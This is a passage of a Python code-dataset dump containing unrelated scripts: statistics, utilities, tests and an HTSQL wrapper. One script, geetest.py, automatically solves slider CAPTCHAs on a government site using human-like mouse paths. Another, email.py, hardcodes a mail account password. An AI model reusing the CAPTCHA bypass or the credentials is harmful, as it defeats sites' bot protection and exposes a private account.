loglik_new_prior - loglik_old - loglik_old_prior)\n if math.isnan(accept_prob):\n accept_prob = -1\n u = np.random.uniform(0.0, 1.0, 1)\n if u < accept_prob:\n self.accept += 1\n return beta_new.reshape(1, self.k)\n else:\n return beta_old.reshape(1, self.k)\n\n def generate_delta(self, z, mu_delta, sigma, sigma_delta):\n z_pow = np.dot(z.T, z)\n tmp_var = np.linalg.inv(z_pow + sigma_delta)\n var = np.kron(sigma, tmp_var)\n delta_tilde = np.dot(np.dot(np.linalg.inv(z_pow), z.T), self.beta[-1])\n mean = np.dot(tmp_var, np.dot(z_pow, delta_tilde) + np.dot(sigma_delta, mu_delta))\n return np.random.multivariate_normal(mean.reshape(-1,), var)\n\n def generate_sigma(self, beta, delta, z, df, scale):\n eps = beta - np.dot(delta.T, z.T).T\n s = np.dot(eps.T, eps)\n return stats.invwishart.rvs(df + self.n, scale + s)\n\n def summary(self, keep, burnin):\n beta = self.beta[0::keep]\n sigma = self.sigma[0::keep]\n delta = self.delta[0::keep]\n print(\"delta\")\n print(np.apply_along_axis(np.mean, 0, delta[burnin+1:]))\n print(\"sigma\")\n print(np.apply_along_axis(np.mean, 0, sigma[burnin+1:]))\n","sub_path":"hierarchical.py","file_name":"hierarchical.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"544743125","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# __coconut_hash__ = 0x5dc616b1\n\n# Compiled with Coconut version 1.4.1 [Ernest Scribbler]\n\n# Coconut Header: -------------------------------------------------------------\n\nfrom __future__ import print_function, absolute_import, unicode_literals, division\nimport sys as _coconut_sys, os.path as _coconut_os_path\n_coconut_file_path = _coconut_os_path.dirname(_coconut_os_path.abspath(__file__))\n_coconut_cached_module = _coconut_sys.modules.get(str(\"__coconut__\"))\nif _coconut_cached_module is not None and _coconut_os_path.dirname(_coconut_cached_module.__file__) != _coconut_file_path:\n del _coconut_sys.modules[str(\"__coconut__\")]\n_coconut_sys.path.insert(0, _coconut_file_path)\nfrom __coconut__ import *\nfrom __coconut__ import _coconut, _coconut_MatchError, _coconut_tail_call, _coconut_tco, _coconut_igetitem, _coconut_base_compose, _coconut_forward_compose, _coconut_back_compose, _coconut_forward_star_compose, _coconut_back_star_compose, _coconut_forward_dubstar_compose, _coconut_back_dubstar_compose, _coconut_pipe, _coconut_back_pipe, _coconut_star_pipe, _coconut_back_star_pipe, _coconut_dubstar_pipe, _coconut_back_dubstar_pipe, _coconut_bool_and, _coconut_bool_or, _coconut_none_coalesce, _coconut_minus, _coconut_map, _coconut_partial, _coconut_get_function_match_error, _coconut_base_pattern_func, _coconut_addpattern, _coconut_sentinel, _coconut_assert\nif _coconut_sys.version_info >= (3,):\n _coconut_sys.path.pop(0)\n\n# Compiled Coconut: -----------------------------------------------------------\n\nfrom pathlib import Path\nfrom .exceptions import PathNotFoundException\n\n@_coconut_tco\ndef get_path(path # type: (str, Path)\n ):\n# type: (...) -> Path\n _coconut_match_to = path\n _coconut_case_check_0 = False\n if _coconut.isinstance(_coconut_match_to, str):\n p = _coconut_match_to\n _coconut_case_check_0 = True\n if _coconut_case_check_0 and not (Path(p).exists()):\n _coconut_case_check_0 = False\n if _coconut_case_check_0:\n return _coconut_tail_call(Path(p).absolute)\n if not _coconut_case_check_0:\n if _coconut.isinstance(_coconut_match_to, Path):\n p = _coconut_match_to\n _coconut_case_check_0 = True\n if _coconut_case_check_0 and not (p.exists()):\n _coconut_case_check_0 = False\n if _coconut_case_check_0:\n return _coconut_tail_call(p.absolute)\n if not _coconut_case_check_0:\n raise PathNotFoundException('path {} doesnt exist'.format(path))\n","sub_path":"collection/pathtools.py","file_name":"pathtools.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"116988647","text":"# -*- coding: utf-8 -*-\n\nimport time\nimport uuid\nimport numpy\nimport random\n\nfrom PIL import Image\nfrom PIL import ImageChops\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\n\nPIXEL_TO_RESOLUTION = 2\n\nclass ExtendedActionChains(ActionChains):\n def wait(self, time_s):\n self._actions.append(lambda: time.sleep(time_s))\n return self\n\nclass GeetestCrack(object):\n def __init__(self, driver):\n self.driver = driver\n self.driver.maximize_window()\n\n def open_new_page(self, url):\n self.driver.get(url)\n\n def input_by_id(self, text=u\"中国移动\", element_id=\"keyword\"):\n input_el = self.driver.find_element_by_id(element_id)\n input_el.clear()\n input_el.send_keys(text)\n\n def click_by_id(self, element_id=\"btn_query\"):\n search_el = self.driver.find_element_by_id(element_id)\n search_el.click()\n\n def locate_element_by_class_name(self, class_name):\n el = self.driver.find_element_by_class_name(class_name)\n left, top = el.location['x'], el.location['y']\n right = left + el.size['width']\n bottom = top + el.size['height']\n return numpy.array([left, top, right, bottom]) * PIXEL_TO_RESOLUTION\n\n def crop_captcha_image(self, class_name=\"gt_box\", file_name=None):\n self.driver.get_screenshot_as_file(\"./screenshot/screenshot.jpg\")\n screenshot = Image.open(\"./screenshot/screenshot.jpg\")\n area = self.locate_element_by_class_name(class_name=class_name)\n captcha = screenshot.crop(area)\n if file_name:\n captcha.save(\"./screenshot/%s.png\" % file_name)\n return captcha\n\n def calculate_slider_bar_offset(self, captcha_before, captcha_after, width=1, threshold=12):\n captcha_diff = ImageChops.difference(captcha_before, captcha_after)\n pixels = numpy.asarray(captcha_diff)\n cols = []\n for x in range(pixels.shape[1]-width):\n c = numpy.mean(pixels[:, x:(x+width), 0:3])\n cols.append(c)\n # print(numpy.round(cols, 2))\n is_shadow = (numpy.array(cols) > threshold).tolist()\n repeated = 14 * PIXEL_TO_RESOLUTION\n scuuessive_Trues = list(filter(lambda x: all(is_shadow[x:x+repeated]), range(len(is_shadow)-repeated)))\n right_offset = scuuessive_Trues[-1] + repeated\n return (right_offset - 45 * PIXEL_TO_RESOLUTION) / PIXEL_TO_RESOLUTION\n\n def drag_slider_bar(self, slider_bar_class_name=\"gt_slider_knob\"):\n captcha_before = self.crop_captcha_image(file_name=None)\n dragger = self.driver.find_element_by_class_name(slider_bar_class_name)\n action = ExtendedActionChains(self.driver)\n action.click_and_hold(dragger).wait(1).perform()\n uid = uuid.uuid4()\n captcha_after = self.crop_captcha_image(file_name=uid)\n xoffset = self.calculate_slider_bar_offset(captcha_before, captcha_after)\n trace = self.generate_mouse_path(xoffset)\n for x, y, slp in trace:\n action.move_by_offset(x, y).wait(slp)\n action.release(dragger).perform()\n return uid, xoffset, trace\n\n def generate_base_mouse_path(self, offset):\n return [[offset, 0, 0]]\n\n def generate_mouse_path(self, offset, threshold=6):\n length, last_y, trace = 0, 0, []\n while numpy.abs(offset - length) > threshold:\n beta = numpy.random.beta(1, 12)\n x_step_offset = int((offset + threshold / 2 - length) * beta)\n length += x_step_offset\n y_step_offset = int(numpy.random.normal(last_y, 1))\n slp = numpy.random.uniform(0.06, 0.12)\n trace.append([x_step_offset, y_step_offset, slp])\n return trace\n\n def crack(self):\n self.open_new_page(\"http://www.gsxt.gov.cn/index.html\")\n self.input_by_id()\n time.sleep(1)\n self.click_by_id()\n time.sleep(1)\n uid, xoffset, trace = self.drag_slider_bar()\n time.sleep(1)\n response = self.check_success()\n log = '{}; {}; {}; {}'.format(response, xoffset, len(trace), uid)\n print(log)\n with open(\"./results.txt\", \"a\") as f:\n f.write(log + \"\\n\")\n\n def check_success(self):\n status = \"Success\"\n try:\n gt_info_content = self.driver.find_element_by_class_name(\"gt_info_content\").text\n if u\"哇哦~怪物吃了拼图\" in gt_info_content:\n status = \"Retry\"\n if u\"拖动滑块将悬浮图像正确拼合\" in gt_info_content:\n status = \"Fail\"\n except Exception as e:\n status = \"Other\"\n return status\n\n ","sub_path":"geetest.py","file_name":"geetest.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"197679076","text":"import smtplib\nfrom email.mime.application import MIMEApplication\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.utils import formatdate\nfrom diplom_backend.service.report import make_report\n\n'''\n Отправка сформированного отчета на email\n'''\n\ndef send_question_to_email(target, question):\n subject = \"Вопрос техподдержке\"\n mail = \"stepanovaks99@mail.ru\"\n\n question += '\\nОтвет присылать на эту почту: ' + target\n\n server = smtplib.SMTP('smtp.mail.ru', 587)\n server.ehlo()\n server.starttls()\n server.login(mail, 'Lena_05')\n\n msg = MIMEMultipart()\n msg['From'] = mail\n msg['To'] = mail\n msg['Date'] = formatdate(localtime=True)\n msg['Subject'] = subject\n msg.attach(MIMEText(question))\n\n server.sendmail(mail, mail, msg.as_string())\n server.quit()\n server.close()\n\n\ndef make_and_send_report(ct, mask, data_for_report):\n email = data_for_report['email']\n mask = mask.numpy()\n ct = ct.numpy()\n doc_gen = make_report(ct, mask, data_for_report)\n print('generated report')\n send_email(email, doc_gen)\n print('email sended')\n\n return True\n\n\ndef send_email(target, doc_gen):\n subject = \"Анализ КТ\"\n mail = \"stepanovaks99@mail.ru\"\n text = \"Добрый день! От��равляем Вам результаты анализа Вашего КТ снимка легких\"\n\n server = smtplib.SMTP('smtp.mail.ru', 587)\n server.ehlo()\n server.starttls()\n server.login(mail, 'Lena_05')\n\n msg = MIMEMultipart()\n msg['From'] = mail\n msg['To'] = target\n msg['Date'] = formatdate(localtime=True)\n msg['Subject'] = subject\n msg.attach(MIMEText(text))\n\n byte_file = doc_gen.convert_to_pdf()\n part = MIMEApplication(\n byte_file,\n Name='report.pdf'\n )\n part['Content-Disposition'] = 'attachment; filename=\"%s\"' % 'report.pdf'\n msg.attach(part)\n\n server.sendmail(mail, target, msg.as_string())\n server.quit()\n server.close()","sub_path":"backend/diplom_server/diplom_backend/service/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"114554525","text":"from typing import List\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n if len(nums) == 0:\n return -1\n if len(nums) == 1: \n if nums[0] == target:\n return 0\n else:\n return -1\n left = 0\n right = len(nums)\n middle = right // 2\n if nums[middle] == target:\n return middle\n elif nums[middle] > target:\n if nums[left] <= target or (nums[left] > target and nums[left] > nums[middle]):\n sub_result = self.search(nums[left:middle], target)\n if sub_result != -1:\n return left + sub_result\n else:\n if nums[left] < nums[middle]:\n sub_result = self.search(nums[middle+1:right], target)\n if sub_result != -1:\n return middle + 1 + sub_result\n else:\n sub_result = -1\n if nums[right-1] >= target or (nums[right-1] < target and nums[middle] > nums[right-1]):\n sub_result = self.search(nums[middle+1:right], target)\n if sub_result != -1:\n return middle + 1 + sub_result\n else:\n sub_result = self.search(nums[left:middle], target)\n if sub_result != -1:\n return left + sub_result\n return -1\n","sub_path":"normal/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"167601514","text":"# -*- coding: utf-8 -*-\n\"\"\"Provides LoopTimer class for printing useful output on a for loop iteration\n\"\"\"\nimport datetime as dt\nimport sys\n\nclass LoopTimer:\n \"\"\"Generic loop timer.\n Given a start time, current index(i.e. where in the loop we are), and\n total_index, (i.e. total length of loop) and optional offset (how many\n loop iterations we skipped), this prints our where we are in the loop,\n percentage completion, and estimated completion time assuming each loop\n iteration takes the same amount of time.\n\n Usage:\n lt = LoopTimer(len(x))\n for i,elem in enumerate(x):\n lt.update(i)\n \"\"\"\n def __init__(self, loop_length, loop_offset=0):\n self.start_time = dt.datetime.now()\n self.loop_length = loop_length\n self.loop_offset = loop_offset\n self.init_frac = loop_offset/float(loop_length)\n self.current_frac = self.init_frac\n self.frac_done = 0\n self.time_left = -1\n self.current_index=loop_offset\n\n def update(self, new_index=None, overwrite=True, it=' '):\n \"\"\"\n current_index should refer to which iteration you are through your\n for loop; using enumerate([ITERITEM]) is the quickest way to get this\n overwrite sets whether the output string overwrites the previous line\n on stdout. So if you are printing things in your for loop, use\n overwrite=False (and prepare for a lot of output on stdout); if you\n are looping over a large iterable and don't want many lines on stdout,\n overwrite=True will keep the output string on the same line of stdout.\n \"\"\"\n if new_index is None:\n new_index = self.current_index + 1\n if new_index > self.loop_offset:\n current_time = dt.datetime.now()\n time_passed = current_time - self.start_time\n self.current_frac = (new_index/float(self.loop_length))\n self.frac_done = self.current_frac - self.init_frac\n frac_todo = 1.0-(self.frac_done+self.init_frac)\n rate = self.frac_done/time_passed.total_seconds()\n self.time_left = frac_todo/rate\n self.current_index = new_index\n\n pct_str = '{:.2f}% '.format(self.current_frac*100)\n mins_left = self.time_left/60.\n hours_left = mins_left/60.\n if hours_left > 2:\n lstr = 'time left: {:.1f} hours '.format(hours_left)\n elif mins_left > 3:\n lstr = 'time left: {:.1f} minutes '.format(mins_left)\n else:\n lstr = 'time left: {:.0f} seconds '.format(self.time_left)\n eta = dt.datetime.now() + dt.timedelta(seconds=self.time_left)\n\n if overwrite:\n print('\\r' + pct_str + 'ETA {:%H:%M:%S} '.format(eta) + lstr + it, end=' ')\n else:\n print(pct_str + 'ETA {:%H:%M:%S} '.format(eta) + lstr + it)\n sys.stdout.flush()\n \n \nif __name__ == \"__main__\":\n import time\n import numpy as np\n some_iterable = np.arange(80)\n lt = LoopTimer(len(some_iterable))\n for i in some_iterable:\n lt.update()\n time.sleep(0.1)\n \n \n\n\n__author__ = \"Johannes Mohrmann\"\n__copyright__ = \"Copyright 2016 Johannes Mohrmann\"\n__license__ = \"MIT\"\n","sub_path":"notebooks/LoopTimer.py","file_name":"LoopTimer.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"198872176","text":"#!/usr/bin/python3\n\n'''\nThis is an Erlang formulas calculator, brought to you by Francesco Foresta (fr.foresta@gmail.com, francesco.foresta@studio.unibo.it)\n\nThe actual version of this program is the 1.2\nVersion 1.2 - Nov 23rd, 2015 - Added the support to python 3.x\nVersion 1.1 - Nov 20th, 2015 - Added A and C formulas\nVersion 1.0 - Nov 1st, 2015\n\nThis code is not to be intended for profit, it is just a didactic instrument that can be used by students or by professors in their loooong days of study on the exciting world of teletraffic.\n \nThis code is also open source and everybody can take and modify it, but I kindly ask you to let me know when this happens as well as I will be happy to be cited in the resulting project :)\n'''\n\nfrom math import factorial\nfrom math import exp\nimport sys\n\n# Erlang A formula\n# This is applied with an infinite service capability\n\ndef erlangA(a0,m):\n e = exp(-a0)\n p = 0\n for i in range(0,m-1):\n p += (a0**i/factorial(i))\n return (1 - (p*e))\n\n# Erlang B formula\n# This is applied to a pure loss system M/M/m/0\n\ndef erlangB(a0,m):\n b = 1\n for j in range(1,m+1):\n prod = a0*b\n b = prod/(prod+j)\n return b\n\n# Erlang C formula\n# This is applied to a pure waiting system M/M/m/inf\n\ndef erlangC(a0, m):\n num = (a0**m/factorial(m)) * ( m/(m-a0) )\n sum_ = 0\n for i in range(m-1):\n sum_ += (a0**i)/factorial(i)\n den = sum_ + num\n p = num/den\n return p\n\ndef main():\n if len(sys.argv) != 4:\n print(\"usage: ./erlang.py {A|B|C} #servers offeredTraffic\")\n sys.exit(1)\n\n a0 = float(sys.argv[3])\n m = int(sys.argv[2])\n erl = sys.argv[1].lower()\n \n if erl == ('a'):\n a = erlangA(a0,m)\n print(\"The service degradation probability for A(\"+str(m)+\",\"+str(a0)+\") is equal to: \" + str(a))\n elif erl == ('b'):\n b = erlangB(a0,m)\n print(\"The blocking probability for B(\"+str(m)+\",\"+str(a0)+\") is equal to: \" + str(b))\n elif erl == ('c'):\n if m < a0:\n print(\"WARNING! The formula will not be corrected as well as you choose a number of servers lower than the offered traffic\")\n elif m == a0:\n print(\"DIVISION BY ZERO! Seriously, are you trying to break everything? :D Nevertheless, guess what? The formula cannot be calculated!\")\n sys.exit(1)\n c = erlangC(a0,m)\n print(\"The waiting probability for C(\"+str(m)+\",\"+str(a0)+\") is equal to: \" + str(c))\n\nif __name__ == '__main__':\n main()\n","sub_path":"erlang.py","file_name":"erlang.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"441491","text":"# -*- coding: utf-8 -*-\n\"\"\"\nExtra unit management tools for pint quantities\n\"\"\"\n\nimport pint\nfrom numpy import ndarray\n\n\ndef check_pint_quantity(quantity, dimension_type, ensure_positive=False):\n \"\"\"\n Checks to make sure that a quantity is an instance of a pint quantity, and\n that it has the correct units. Currently supported dimension types:\n\n * ``\"length\"``\n * ``\"area\"``\n * ``\"volume\"``\n * ``\"temperature\"``\n * ``\"pressure\"``\n * ``\"velocity\"``\n * ``\"density\"``\n\n Parameters\n ----------\n quantity : pint.Quantity\n Pint quantity which is to be checked for dimensionality\n dimension_type : str\n Dimensionality that quantity should have\n ensure_positive : bool\n Determines whether the magnitude of the pint quantity will be checked\n for positivity\n\n Returns\n -------\n bool\n True if no errors are raised\n \"\"\"\n if hasattr(quantity, \"magnitude\") and isinstance(quantity.magnitude, ndarray):\n quantity = quantity[0]\n\n ureg = pint.UnitRegistry()\n units = {\n \"length\": ureg.meter.dimensionality.__str__(),\n \"area\": (ureg.meter**2).dimensionality.__str__(),\n \"volume\": (ureg.meter**3).dimensionality.__str__(),\n \"temperature\": ureg.degC.dimensionality.__str__(),\n \"pressure\": ureg.psi.dimensionality.__str__(),\n \"velocity\": (ureg.meter / ureg.second).dimensionality.__str__(),\n \"density\": (ureg.kg / ureg.meter**3).dimensionality.__str__(),\n }\n\n if dimension_type not in units:\n raise ValueError(dimension_type + \" not a supported dimension type\")\n\n try:\n actual_dimension_type = quantity.dimensionality.__str__()\n except AttributeError:\n raise ValueError(\"Non-pint quantity\")\n\n try:\n float(quantity.magnitude)\n except ValueError:\n raise ValueError(\"Non-numeric pint quantity\")\n\n if ensure_positive:\n if quantity.to_base_units().magnitude < 0:\n raise ValueError(\"Input value < 0\")\n\n if units[dimension_type] != actual_dimension_type:\n raise ValueError(\n actual_dimension_type.replace(\"[\", \"\").replace(\"]\", \"\")\n + \" is not \"\n + units[dimension_type].replace(\"[\", \"\").replace(\"]\", \"\")\n )\n\n return True\n\n\ndef parse_quant_input(quant_input, unit_registry):\n \"\"\"\n Converts a tuple of ``(magnitude, \"units\")`` to a pint quantity or\n converts a pint quantity to the local registry.\n\n Parameters\n ----------\n quant_input : pint.Quantity or tuple\n Iterable or quantity to be parsed\n unit_registry : pint.UnitRegistry\n Unit registry to be used for pint quantities\n\n Returns\n -------\n pint.Quantity\n Input as a pint quantity\n \"\"\"\n if hasattr(quant_input, \"magnitude\"):\n return unit_registry.Quantity(quant_input.magnitude, quant_input.units.format_babel())\n elif hasattr(quant_input, \"__iter__\") and len(quant_input) == 2:\n return unit_registry.Quantity(quant_input[0], quant_input[1])\n else:\n raise ValueError(\"Bad quantity input: {0}\".format(quant_input))\n","sub_path":"pypbomb/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"271127307","text":"import pathlib\n\nimport pytest\nimport yaml\n\nTEST_CONFIG_DATA_PATH = pathlib.Path(__file__).with_name('test_data')\n\n\n@pytest.fixture\ndef config():\n test_config = yaml.load(\n (TEST_CONFIG_DATA_PATH.parent.parent.parent / 'invoke.yaml').read_text(encoding='utf-8'),\n Loader=yaml.FullLoader\n )\n return test_config\n\n\n@pytest.fixture\ndef logs():\n test_logs = yaml.load(\n (TEST_CONFIG_DATA_PATH / 'logs.yaml').read_text(encoding='utf-8'),\n Loader=yaml.FullLoader\n )\n return test_logs\n\n\n@pytest.fixture\ndef issue():\n exporters_config = yaml.load(\n (TEST_CONFIG_DATA_PATH / 'issue.yaml').read_text(encoding='utf-8')\n )\n return exporters_config\n\n\n@pytest.fixture\ndef test_grafana_client(test_client):\n pass\n\n\n@pytest.fixture\ndef app(config):\n from bot.app import App\n return App(config)\n\n\n@pytest.fixture\ndef loop():\n import asyncio\n return asyncio.get_event_loop()\n","sub_path":"bot/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"82265637","text":"#\n# Copyright (c) 2015, Prometheus Research, LLC\n#\n\n\nfrom rex.core import Extension, cached, get_settings, Error\nfrom rex.web import Pipe, authenticate\nfrom .setting import HTSQLVal\nfrom webob import Request, Response\nfrom webob.exc import (\n HTTPUnauthorized, HTTPNotFound, HTTPBadRequest, HTTPMovedPermanently)\nfrom htsql import HTSQL\nfrom htsql.core.error import Error as HTSQLError\nfrom htsql.core.cmd.act import produce\nfrom htsql.core.fmt.accept import accept, Accept\nfrom htsql.core.fmt.emit import emit, emit_headers\nfrom htsql.core.context import context\nfrom htsql.core.connect import connect, transaction\nfrom htsql_rex import isolate, mask, session\n\n\nclass RexHTSQL(HTSQL):\n \"\"\"\n Customized variant of HTSQL application.\n \"\"\"\n\n # We can add our own methods here.\n\n def __enter__(self):\n if context.active_app is self:\n context.push(context.active_app, context.active_env)\n else:\n super(RexHTSQL, self).__enter__()\n\n def produce(self, command, environment=None, **parameters):\n \"\"\"\n Executes a query, returns the result.\n\n `command`\n A string or an open file. If a file, may contain multiple\n queries.\n \"\"\"\n product = None\n with self:\n if hasattr(command, 'read'):\n # Read queries from a file.\n stream = command\n name = getattr(stream, 'name', '')\n # Statements.\n blocks = []\n # Lines in the current statement.\n lines = []\n # Location of the current statement.\n block_idx = 0\n for idx, line in enumerate(stream):\n line = line.rstrip()\n if not line or line.startswith('#'):\n if lines:\n lines.append(line)\n elif line == line.lstrip():\n if lines:\n blocks.append((block_idx, lines))\n block_idx = idx\n lines = [line]\n else:\n if not lines:\n raise HTSQLError(\"Got unexpected indentation\",\n \"%s, line %s\"\n % (name, idx+1))\n lines.append(line)\n if lines:\n blocks.append((block_idx, lines))\n for idx, lines in blocks:\n while lines and not lines[-1]:\n lines.pop()\n command = \"\\n\".join(lines)\n try:\n product = produce(command, environment, **parameters)\n except HTSQLError as error:\n error.wrap(\"While executing\",\n \"%s, line %s\" % (name, idx+1))\n raise\n else:\n product = produce(command, environment, **parameters)\n return product\n\n def isolate(self):\n \"\"\"\n Creates a fresh HTSQL context.\n\n Use this method with a ``with`` clause.\n \"\"\"\n return isolate(self)\n\n def mask(self, *masks):\n \"\"\"\n Creates a unconditional filter on a table.\n\n `masks`\n A sequence of masks. Each mask must be an HTSQL expression\n of the form ``?``.\n\n Use this method with a ``with`` clause.\n \"\"\"\n return mask(*masks)\n\n def session(self, user):\n \"\"\"\n Sets the value of ``$USER``.\n\n `user`\n The name of the user or ``None``. This value is available\n in HTSQL queries as ``$USER`` parameter.\n\n Use this method with a ``with`` clause.\n \"\"\"\n return session(user)\n\n def accept(self, environ):\n \"\"\"\n Determines the preferable HTSQL output format.\n\n `environ`\n WSGI ``environ`` object or ``Request`` object.\n \"\"\"\n if isinstance(environ, str):\n content_type = environ\n if '/' not in content_type:\n content_type = \"x-htsql/\"+content_type\n with self:\n return Accept.__invoke__(content_type)\n if isinstance(environ, Request):\n environ = environ.environ\n with self:\n return accept(environ)\n\n def emit(self, format, product):\n \"\"\"\n Generates the body of the HTSQL output in the specified format.\n \"\"\"\n with self:\n return emit(format, product)\n\n def emit_headers(self, format, product):\n \"\"\"\n Generates HTTP headers for the HTSQL output.\n \"\"\"\n with self:\n return emit_headers(format, product)\n\n def connect(self, with_autocommit=False):\n \"\"\"\n Opens a connection to the database.\n \"\"\"\n with self:\n return connect(with_autocommit=with_autocommit)\n\n def transaction(self, is_lazy=False):\n \"\"\"\n Creates a transactional context.\n\n Use this method with a ``with`` clause.\n \"\"\"\n return transaction(is_lazy=is_lazy)\n\n @classmethod\n def configure(cls, name=None):\n # Build configuration from settings `db`, `htsql_extensions` and\n # `htsql_base_extensions`. Also include `rex` HTSQL addon.\n settings = get_settings()\n configuration = []\n if name is None:\n gateways = dict((key, cls.configure(key))\n for key in sorted(settings.gateways)\n if settings.gateways[key])\n properties = settings.htsql_environment\n timeout = settings.query_timeout\n configuration = HTSQLVal.merge(\n {'rex': {\n 'gateways': gateways,\n 'properties': properties,\n 'timeout': timeout }},\n settings.htsql_extensions,\n settings.db)\n else:\n gateway = settings.gateways.get(name)\n if not gateway:\n raise KeyError(name)\n configuration = HTSQLVal.merge({'rex': {}}, gateway)\n return cls(None, configuration)\n\n\nclass PipeTransaction(Pipe):\n # Wraps HTTP request in a transaction.\n\n priority = 'transaction'\n after = 'error'\n before = 'routing'\n\n def __call__(self, req):\n settings = get_settings()\n user = lambda authenticate=authenticate, req=req: authenticate(req)\n masks = [lambda mask_type=mask_type, req=req: mask_type()(req)\n for mask_type in Mask.all()]\n with get_db(), session(user), mask(*masks), transaction(is_lazy=True):\n if settings.read_only:\n with context.env(can_write=False):\n return self.handle(req)\n else:\n return self.handle(req)\n\n\nclass Mask(Extension):\n \"\"\"\n Generates a list of masks to apply to the given HTTP request.\n \"\"\"\n\n def __call__(self, req):\n \"\"\"\n Implementations should override this method to return a list\n of masks for the given HTTP request.\n \"\"\"\n return []\n\n\n@cached\ndef get_db(name=None):\n \"\"\"\n Builds and returns an HTSQL instance.\n\n `name`\n If ``name`` is not provided, returns the primary application\n database. Otherwise, returns the named gateway. If the gateway\n is not configured, raises :exc:`KeyError`.\n \"\"\"\n return RexHTSQL.configure(name=name)\n","sub_path":"src/rex.db/src/rex/db/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":7611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"114665164","text":"##############################################################################\n#\n# Copyright (c) 2001, 2002 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"XML-RPC Representation Tests\n\n$Id$\n\"\"\"\nimport unittest\nimport base64\n\nfrom zope.publisher.xmlrpc import TestRequest\n\nfrom zope.app.container.interfaces import IContainer\nfrom zope.app.file import File\n\nfrom bugtracker.bug import Bug\nfrom bugtracker.comment import Comment\nfrom bugtracker.tracker import BugTracker\nfrom bugtracker.tests.placelesssetup import PlacelessSetup, Root\nfrom bugtracker.xmlrpc import BugTrackerMethods, BugMethods\nfrom bugtracker.xmlrpc import CommentMethods, AttachmentMethods\n\n\nclass TrackerMethodsTest(PlacelessSetup, unittest.TestCase):\n\n def setUp(self):\n PlacelessSetup.setUp(self)\n\n tracker = self.generateTracker()\n tracker.__parent__ = Root()\n tracker.__name__ = \"tracker\"\n tracker['1'] = self.generateBug('1')\n tracker['2'] = self.generateBug('2')\n self.tracker = tracker\n self.methods = BugTrackerMethods(tracker, TestRequest())\n\n def test_getBugNames(self):\n self.assertEqual(list(self.methods.getBugNames()), ['1', '2'])\n\n def test_addBug(self):\n self.methods.addBug(u'Bug 3', u'This is bug 3.')\n self.assertEqual(self.tracker['3'].title, u'Bug 3')\n self.assertEqual(self.tracker['3'].description, u'This is bug 3.')\n self.assertEqual(self.tracker['3'].status, u'new')\n self.methods.addBug(u'Bug 4', u'This is bug 4.', owners=[u'jim'],\n dependencies=['3'])\n self.assertEqual(self.tracker['4'].dependencies, [u'3'])\n self.assertEqual(self.tracker['4'].owners, [u'zope.jim'])\n\n def test_deleteBug(self):\n self.methods.deleteBug('2')\n self.assertEqual(list(self.tracker), ['1'])\n\n\nclass BugMethodsTest(PlacelessSetup, unittest.TestCase):\n\n def setUp(self):\n PlacelessSetup.setUp(self)\n self.bug = self.generateBug('3')\n self.methods = BugMethods(self.bug, TestRequest())\n\n def test_getProperties(self):\n props = self.methods.getProperties()\n self.assertEqual(props['title'], 'Bug 3')\n self.assertEqual(props['description'], 'This is Bug 3.')\n self.assertEqual(props['type'], 'bug')\n self.assertEqual(props['status'], 'new')\n self.assertEqual(props['priority'], 'normal')\n self.assertEqual(props['release'], 'None')\n self.assertEqual(props['dependencies'], ())\n self.assertEqual(props['owners'], ['jim', 'stevea'])\n\n def test_setProperties(self):\n self.methods.setProperties(type='feature')\n self.assertEqual(self.bug.type, 'feature')\n self.assertEqual(self.bug.status, 'new')\n self.methods.setProperties(status='closed', release='zope_x3')\n self.assertEqual(self.bug.type, 'feature')\n self.assertEqual(self.bug.status, 'closed')\n self.assertEqual(self.bug.release, 'zope_x3')\n \n def test_getCommentNames(self):\n self.assertEqual(self.methods.getCommentNames(), ['comment1'])\n\n def test_addComment(self):\n self.methods.addComment('This is comment 2.')\n self.assertEqual(self.bug['comment2'].body, 'This is comment 2.')\n\n def test_deleteComment(self):\n self.methods.deleteComment('comment1')\n self.assert_('comment1' not in self.bug.keys())\n\n def test_addAttachment(self):\n self.methods.addAttachment('hw.txt',\n base64.encodestring('Hello World.'))\n self.assertEqual(self.bug['hw.txt'].data, 'Hello World.')\n\n def test_deleteAttachment(self):\n self.methods.deleteAttachment('attach.txt')\n self.assert_('attach.txt' not in self.bug.keys())\n\n\nclass CommentMethodsTest(PlacelessSetup, unittest.TestCase):\n\n def setUp(self):\n PlacelessSetup.setUp(self)\n self.comment = 